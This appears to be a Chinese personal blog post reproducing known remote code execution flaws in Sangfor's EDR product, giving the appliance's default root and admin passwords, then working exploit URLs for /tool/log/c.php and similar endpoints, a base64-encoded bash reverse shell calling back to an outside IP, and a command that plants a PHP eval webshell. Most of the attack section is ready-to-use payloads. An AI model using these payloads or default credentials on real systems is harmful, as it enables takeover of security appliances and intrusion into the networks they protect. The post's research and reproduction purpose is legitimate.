今年 HW 深信服的 EDR 爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看,不过本文略水,写这篇文章的时候还不够宁静。

基本配置信息

网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像,下面国光简单分享记录一下相关信息,然后面看到的朋友少走弯路。

首先 ISO 安装的话,不要使用快速安装,直接挂载即可,相关的账号密码为:

用户名 密码
root edr@sangfor

安装完成默认是静态 IP,得配置一下 DHCP IP 即可:

vim /etc/sysconfig/network-scripts/ifcfg-eth0

主要修改下面部分

BOOTPROTO=dhcp

然后删掉 IPADDR、GATEWAY 和 NETMASK 等静态 IP 相关的设置,重启一下网络服务即可:

service network restart

查看 IP 地址,浏览器直接访问即可访问到前端登录界面:

初始默认的用户名和密码都为:admin

搭建好之后 直接开始复习之前网上爆出来的漏洞信息吧

/tool/log/c.php

首先$show_form 接受用户输入请求:

跟进这个函数,发现是经典的extract变量覆盖 ,参数值完全可控……漏洞:

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id

这样执行命令不是很方便,可以选择 bash 反弹 shell 出来,或者直接上传一个 webshell,下面简单来尝试一下。

  • Bash 弹 Shell

首先本地开启 nc 监听端口:

➜  ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

然后准备一个反弹 shell 命令:

bash -i >& /dev/tcp/10.20.24.244/2333 0>&1

Base64 编码为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx

因为出现了+号,浏览器会进行 URL 解码,+会变成空格,所以我们得把 +首先进行 URL 编码一下,最后的 payload 就是如下格式:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx"|base64 -d|bash

最后执行完即可成功 nc 上线,然后就可以执行任意命令了:

  • 直接写入 Webshell
echo '<?php eval($_REQUEST[1]);?>' > shell.php

Base64 编码 & +编码:

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA==

最终 payload 如下:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA=="|base64 -d|bash

但是有毒的是,这个 webshell 执行起来并不是那么顺手,很多命令依然无法执行,而且 AntSword 也无法连接,哭了。

/tool/php_cli.php

这个文件的功能默认无法使用,因为一开始就会判断 enable_dc_tool文件是否存在,其中 ldb_ext_root()的路径位置为:

/ac/dc/ldb/

下面是详细的代码:

但是假设存在这个文件的时候,下面就会有一个类似于 /tool/log/c.php的中漏洞一样,也是存在代码执行的,不过比较鸡肋,没有利用价值:

执行效果如下:

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/php_cli.php?code=system(id);
https://xxx.xxx.xx.xx/tool/php_cli.php?strip_slashes=system&code=id

/tool/ldb_cli.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

/tool/mdd_sql.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

参考链接

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光